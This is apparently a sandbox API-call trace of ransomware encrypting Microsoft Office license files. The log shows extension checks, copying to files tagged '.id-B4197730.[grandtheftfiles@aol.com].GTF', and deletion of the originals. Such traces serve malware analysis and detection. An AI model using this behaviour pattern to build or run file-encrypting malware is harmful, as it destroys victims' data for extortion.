	[0172.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString=".dbf") returned 4
	[0172.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString=".1cd") returned 4
	[0172.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString=".jpg") returned 4
	[0172.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString=".doc") returned 4
	[0172.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".docx") returned 5
	[0172.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.853] lstrlenW (lpString=".pdf") returned 4
	[0172.853] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".xls") returned 4
	[0172.853] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".xlsx") returned 5
	[0172.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.853] lstrlenW (lpString=".ppt") returned 4
	[0172.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.853] lstrlenW (lpString=".zip") returned 4
	[0172.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".rar") returned 4
	[0172.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".bz2") returned 4
	[0172.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.853] lstrlenW (lpString=".7z") returned 3
	[0172.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.854] lstrlenW (lpString=".dbf") returned 4
	[0172.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.854] lstrlenW (lpString=".1cd") returned 4
	[0172.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0172.854] lstrlenW (lpString=".jpg") returned 4
	[0172.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.854] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.854] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37
	[0172.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0172.855] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11621) returned 1
	[0172.855] CloseHandle (hObject=0x3dc) returned 1
	[0172.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220
	[0172.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0172.856] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.856] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.856] GetLastError () returned 0x0
	[0172.856] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0172.859] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.860] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.860] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0172.860] SetEndOfFile (hFile=0x534) returned 1
	[0172.860] CloseHandle (hObject=0x534) returned 1
	[0172.860] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.860] SetEndOfFile (hFile=0x3dc) returned 1
	[0172.863] CloseHandle (hObject=0x3dc) returned 1
	[0172.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1
	[0172.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.865] lstrlenW (lpString=".doc") returned 4
	[0172.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".docx") returned 5
	[0172.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.865] lstrlenW (lpString=".pdf") returned 4
	[0172.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".xls") returned 4
	[0172.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".xlsx") returned 5
	[0172.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.865] lstrlenW (lpString=".ppt") returned 4
	[0172.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.865] lstrlenW (lpString=".zip") returned 4
	[0172.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".rar") returned 4
	[0172.865] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".bz2") returned 4
	[0172.865] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.865] lstrlenW (lpString=".7z") returned 3
	[0172.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.865] lstrlenW (lpString=".dbf") returned 4
	[0172.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString=".1cd") returned 4
	[0172.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString=".jpg") returned 4
	[0172.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString=".doc") returned 4
	[0172.866] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".docx") returned 5
	[0172.866] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.866] lstrlenW (lpString=".pdf") returned 4
	[0172.866] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".xls") returned 4
	[0172.866] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".xlsx") returned 5
	[0172.866] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.866] lstrlenW (lpString=".ppt") returned 4
	[0172.866] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString=".zip") returned 4
	[0172.866] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".rar") returned 4
	[0172.866] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".bz2") returned 4
	[0172.866] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.866] lstrlenW (lpString=".7z") returned 3
	[0172.866] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.866] lstrlenW (lpString=".dbf") returned 4
	[0172.867] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.867] lstrlenW (lpString=".1cd") returned 4
	[0172.867] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0172.867] lstrlenW (lpString=".jpg") returned 4
	[0172.867] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.867] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.867] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37
	[0172.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0172.868] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19966) returned 1
	[0172.868] CloseHandle (hObject=0x3dc) returned 1
	[0172.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220
	[0172.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0172.869] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.869] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.869] GetLastError () returned 0x0
	[0172.870] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0172.872] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0172.873] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.873] WriteFile (in: hFile=0x534, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0172.874] SetEndOfFile (hFile=0x534) returned 1
	[0172.874] CloseHandle (hObject=0x534) returned 1
	[0172.874] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.874] SetEndOfFile (hFile=0x3dc) returned 1
	[0172.877] CloseHandle (hObject=0x3dc) returned 1
	[0172.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1
	[0173.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.177] lstrlenW (lpString=".doc") returned 4
	[0173.177] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString=".docx") returned 5
	[0173.177] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.177] lstrlenW (lpString=".pdf") returned 4
	[0173.177] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString=".xls") returned 4
	[0173.177] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString=".xlsx") returned 5
	[0173.177] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.177] lstrlenW (lpString=".ppt") returned 4
	[0173.177] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.177] lstrlenW (lpString=".zip") returned 4
	[0173.177] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.177] lstrlenW (lpString=".rar") returned 4
	[0173.177] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".bz2") returned 4
	[0173.178] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".7z") returned 3
	[0173.178] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".dbf") returned 4
	[0173.178] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".1cd") returned 4
	[0173.178] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".jpg") returned 4
	[0173.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".doc") returned 4
	[0173.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".docx") returned 5
	[0173.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.178] lstrlenW (lpString=".pdf") returned 4
	[0173.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".xls") returned 4
	[0173.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".xlsx") returned 5
	[0173.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.178] lstrlenW (lpString=".ppt") returned 4
	[0173.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.178] lstrlenW (lpString=".zip") returned 4
	[0173.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.178] lstrlenW (lpString=".rar") returned 4
	[0173.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.179] lstrlenW (lpString=".bz2") returned 4
	[0173.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.179] lstrlenW (lpString=".7z") returned 3
	[0173.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.179] lstrlenW (lpString=".dbf") returned 4
	[0173.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.179] lstrlenW (lpString=".1cd") returned 4
	[0173.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0173.179] lstrlenW (lpString=".jpg") returned 4
	[0173.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.179] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.179] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33
	[0173.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.417] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10667) returned 1
	[0173.417] CloseHandle (hObject=0x3dc) returned 1
	[0173.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220
	[0173.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.427] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.427] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.428] GetLastError () returned 0x0
	[0173.428] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0173.430] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0173.431] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.431] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.431] SetEndOfFile (hFile=0x564) returned 1
	[0173.432] CloseHandle (hObject=0x564) returned 1
	[0173.432] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.432] SetEndOfFile (hFile=0x3dc) returned 1
	[0173.434] CloseHandle (hObject=0x3dc) returned 1
